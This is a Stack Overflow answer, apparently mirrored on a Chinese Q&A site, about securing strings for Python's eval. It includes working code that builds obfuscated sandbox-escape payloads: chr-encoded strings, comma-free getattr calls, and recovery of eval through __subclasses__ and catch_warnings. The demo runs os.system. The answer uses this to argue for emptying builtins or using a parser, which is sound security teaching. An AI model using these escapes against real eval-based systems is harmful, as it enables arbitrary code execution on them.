Is there a way to secure strings for Python's eval?

后端 未结 7 2065
悲哀的现实
悲哀的现实 2021-02-08 07:43

There are many questions on SO about using Python\'s eval on insecure strings (eg.: Security of Python\'s eval() on untrusted strings?, Python: make eval safe).

7条回答
  •  长情又很酷
    2021-02-08 08:14

    An exploit similar to goncalopp's but that also satisfy the restriction that the string 'eval' is not a substring of the exploit:

    def to_chrs(text):
        return '+'.join('chr(%d)' % ord(c) for c in text)
    
    def _make_getattr_call(obj, attr):
        return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)
    
    def make_exploit(code):
        get = to_chrs('get')
        builtins = to_chrs('__builtins__')
        eval = to_chrs('eval')
        code = to_chrs(code)
        return (_make_getattr_call(
                    _make_getattr_call('globals()', '{get}') + '({builtins})',
                    '{eval}') + '({code})').format(**locals())
    

    It uses a combination of genexp and tuple unpacking to call getattr with two arguments without using the comma.

    An example usage:

    >>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
    >>> print exploit
    getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
    >>> eval(exploit)
    /home/giacomo
    0
    

    This proves that to define restrictions only on the text that make the code safe is really hard. Even things like 'eval' in code are not safe. Either you must remove the possibility of executing a function call at all, or you must remove all dangerous built-ins from eval's environment. My exploit also shows that getattr is as bad as eval even when you can not use the comma, since it allows you to walk arbitrary into the object hierarchy. For example you can obtain the real eval function even if the environment does not provide it:

    def real_eval():
        get_subclasses = _make_getattr_call(
                             _make_getattr_call(
                                 _make_getattr_call('()',
                                     to_chrs('__class__')),
                                 to_chrs('__base__')),
                             to_chrs('__subclasses__')) + '()'
    
        catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                                _make_getattr_call('c',
                                                                    to_chrs('__name__')),
                                                                to_chrs('catch_warnings'))
    
        return _make_getattr_call(
                   _make_getattr_call(
                       _make_getattr_call(catch_warnings, to_chrs('_module')),
                       to_chrs('__builtins__')),
                   to_chrs('get')) + '(%s)' % to_chrs('eval')
    
    
    >>> no_eval = __builtins__.__dict__.copy()
    >>> del no_eval['eval']
    >>> eval(real_eval(), {'__builtins__': no_eval})
    
    

    Even though if you remove all the built-ins, then the code becomes safe:

    >>> eval(real_eval(), {'__builtins__': None})
    Traceback (most recent call last):
      File "", line 1, in 
      File "", line 1, in 
    NameError: name 'getattr' is not defined
    

    Note that setting '__builtins__' to None removes also chr, list, tuple etc. The combo of your character restrinctions and '__builtins__' to None is completely safe, because the user has no way to access anything. He can't use the ., the brackets [] or any built-in function or type.

    Even though I must say in this way what you can evaluate is pretty limited. You can't do much more than do operations on numbers.

    Probably it's enough to remove eval, getattr, and chr from the built-ins to make the code safe, at least I can't think of a way to write an exploit that does not use one of them.

    A "parsing" approach is probably safer and gives more flexibility. For example this recipe is pretty good and is also easily customizable to add more restrictions.

提交回复
热议问题